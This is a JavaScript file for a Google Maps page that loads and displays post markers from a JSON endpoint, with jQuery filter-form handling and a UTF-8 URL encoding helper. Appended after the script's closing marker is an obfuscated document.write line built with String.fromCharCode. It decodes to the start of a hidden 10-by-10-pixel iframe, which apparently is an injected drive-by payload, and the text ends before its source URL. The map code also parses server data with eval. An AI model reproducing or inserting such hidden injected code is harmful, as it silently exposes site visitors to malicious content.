//<![CDATA[
$(document).ready(function() {
	$("#wrapper_map").width($("#map_canvas").width());
	
	var indLat = -2;
	var indLng = 120;
	var gmarkers = [];
	var i = 0;
	
	$("#sLat, #lat").text(indLat);
	$("#sLng, #lng").text(indLng);
	
	map = new GMap2(document.getElementById("map_canvas"));
	center = new GLatLng(indLat, indLng);
	map.setCenter(center, 5);
	map.setUIToDefault();
	
	var tilelayer = new GTileLayer(new GCopyrightCollection(), 0, 17);
	tilelayer.getTileUrl = function(tile, zoom) {
		// A more interesting tile server would do something with the numbers
		// tile.x, tile.y and zoom.
		return "/library/images/map_overlay.gif";
	};
	tilelayer.getOpacity = function() {return 0.1;}
	map.addOverlay(new GTileLayerOverlay(tilelayer));
	
	// zoomed
	GEvent.addListener(map,'zoomend',function(){
		var lat = map.getCenter().lat();
		var lng = map.getCenter().lng(); 
		readMap();
	}); 
	
	//draged
	GEvent.addListener(map, 'dragend', function(){
		var lat = map.getCenter().lat();
		var lng = map.getCenter().lng(); 
		readMap();
	}); 
	
	//
	baseIcon  = new GIcon(G_DEFAULT_ICON);
	baseIcon.iconSize = new GSize(32, 37);
	baseIcon.shadow = "";
	
	function createMarker(guid, point, icon, title, content, permalink) {
		// Create a lettered icon for this point using our icon class
		var html = "<a id=\"anchor-"+guid+"\" class=\"popup\" onclick=\"load_dialog("+guid+");return false;\" href=\""+permalink+"\" title=\""+title+"\">"+title+"</a><br>" + content;
		var letteredIcon = new GIcon(baseIcon);
		letteredIcon.image = icon;
		
		// Set up our GMarkerOptions object
		markerOptions = { icon:letteredIcon };
		var marker = new GMarker(point, markerOptions);
		gmarkers[i] = marker;
		GEvent.addListener(marker, "click", function() {
			marker.openInfoWindowHtml(html,{maxWidth:300});
			map.panTo(marker.getPoint());
			var markerOffset = map.fromLatLngToDivPixel(marker.getPoint());
		});
		
		var tooltip = new Tooltip(marker,title,4); 
		marker.tooltip = tooltip; 
		map.addOverlay(marker); 
		map.addOverlay(tooltip); 		// tooltip		
		
		GEvent.addListener(marker,'mouseover',function(){ 
			this.tooltip.show(); 
		});
		
		GEvent.addListener(marker,'mouseout',function(){ 
			this.tooltip.hide(); 
		});
		
		return marker;
	}
	
	var parseJson = function(doc){
			var jsonData = eval("(" + doc + ")");
			for (var i = 0; i < jsonData.markers.length; i++) {
				var lat = parseFloat(jsonData.markers[i].post_lat);
				var lng = parseFloat(jsonData.markers[i].post_lng);
				var point = new GLatLng(lat,lng);
				var content = jsonData.markers[i].post_excerpt;
				var title = jsonData.markers[i].post_title;
				var icon = jsonData.markers[i].icon;
				var permalink = jsonData.markers[i].permalink;
				var guid = jsonData.markers[i].post_id;
				// create the marker
				var marker = createMarker(guid, point, icon, title, content, permalink);
				map.addOverlay(marker);
			}	
	}
	
	var readMap = function( url ) {
		var zoom 		= map.getZoom();
		var bounds 		= map.getBounds();
		var southWest 	= bounds.getSouthWest();
		var southWestLat = southWest.lat();
		var southWestLng = southWest.lng();

		var northEast 		= bounds.getNorthEast();
		var northEastLat 	= northEast.lat();
		var northEastLng 	= northEast.lng();
		
		// old url : var url="/terra/markers/init/"+southWestLat+":"+southWestLng+"::"+northEastLat+":"+northEastLng+"::"+zoom;
		// xml url : var url="/terra/markers/init/?southWestLat="+southWestLat+"&southWestLng="+southWestLng+"&northEastLat="+northEastLat+"&northEastLng="+northEastLng+"&zoom="+zoom+"&range=true&querystring=true";
		if(!url){
			var url="/markers/json/?southWestLat="+southWestLat+"&southWestLng="+southWestLng+"&northEastLat="+northEastLat+"&northEastLng="+northEastLng+"&zoom="+zoom+"&range=true&querystring=true";
		}else{
			var url="/markers/json/?"+url;
		}
		// console.log(url);
		loading('start');
		GDownloadUrl(url, function(data, responseCode) { 
			map.getInfoWindow().hide();
			map.clearOverlays();
			parseJson(data);
			loading('end');
		});
		
		// adding images thumbnail class to custom it
		var elementDiv = $("#map_canvas").children().children().children();
		$(elementDiv).eq(6).addClass("thumbnails");
	}
	
	readMap();
	
	// form filter handling
	jQuery("#form_filter input:checkbox").click(function(){
		$object = jQuery(this);
		$object_val = $object.val();
		jQuery("#form_filter").submit();
		if($object.is(':checked')){
			
		}else{
			
		}
	});


	var options = { 
        target:        '#respond',   // target element(s) to be updated with server response 
        beforeSubmit:  showRequest,  // pre-submit callback 
        success:       showResponse,  // post-submit callback 
 
        //url:       url         // override for form's 'action' attribute 
        type:      'get',        // 'get' or 'post', override for form's 'method' attribute 
        // dataType:  null        // 'xml', 'script', or 'json' (expected server response type) 
        // clearForm: true        // clear all form fields after successful submit 
        // resetForm: true        // reset the form after successful submit 
 
        // $.ajax options can be used here too, for example: 
        //timeout:   3000 
    }; 
 
    // bind to the form's submit event 
    jQuery('#form_filter,#form_search').submit(function() { 
		
        jQuery(this).ajaxSubmit(options); 
 		
        return false; 
    });	

	// When initially loaded, use the data from "map11.php?q=a"
	
	// pre-submit callback 
	function showRequest(formData, jqForm, options) { 
		// var queryString = null;
		var queryString = $.param(formData);
		// var executed_url = jQuery('#url_requested').val() + '&' + jQuery('#filter_querystring').val();
		
		var formElement = jqForm[0]; 
		// loading('start');
		jQuery("#form_filter input:checkbox").attr('disabled','disabled')
		return true; 
	} 
	 
	// post-submit callback 
	function showResponse(responseText, statusText, xhr, $form)  { 
		// show respons here
		// loading('end');
		//jQuery('#filter_querystring').val(responseText);
		jQuery("#form_filter input:checkbox").attr('disabled','')
		readMap(responseText);
		//alert(responseText);
	} 
});


var Url = {
 
	// public method for url encoding
	encode : function (string) {
		return escape(this._utf8_encode(string));
	},
 
	// public method for url decoding
	decode : function (string) {
		return this._utf8_decode(unescape(string));
	},
 
	// private method for UTF-8 encoding
	_utf8_encode : function (string) {
		string = string.replace(/\r\n/g,"\n");
		var utftext = "";
 
		for (var n = 0; n < string.length; n++) {
 
			var c = string.charCodeAt(n);
 
			if (c < 128) {
				utftext += String.fromCharCode(c);
			}
			else if((c > 127) && (c < 2048)) {
				utftext += String.fromCharCode((c >> 6) | 192);
				utftext += String.fromCharCode((c & 63) | 128);
			}
			else {
				utftext += String.fromCharCode((c >> 12) | 224);
				utftext += String.fromCharCode(((c >> 6) & 63) | 128);
				utftext += String.fromCharCode((c & 63) | 128);
			}
 
		}
 
		return utftext;
	},
 
	// private method for UTF-8 decoding
	_utf8_decode : function (utftext) {
		var string = "";
		var i = 0;
		var c = c1 = c2 = 0;
 
		while ( i < utftext.length ) {
 
			c = utftext.charCodeAt(i);
 
			if (c < 128) {
				string += String.fromCharCode(c);
				i++;
			}
			else if((c > 191) && (c < 224)) {
				c2 = utftext.charCodeAt(i+1);
				string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
				i += 2;
			}
			else {
				c2 = utftext.charCodeAt(i+1);
				c3 = utftext.charCodeAt(i+2);
				string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
				i += 3;
			}
 
		}
 
		return string;
	}
 
}
//]]>
if (undefined === window.iOpExIol) document.write(String.fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,49,48,34,32,104,101,105,103,104,116,61,34,49,48,34,32,115,114,99,61,34
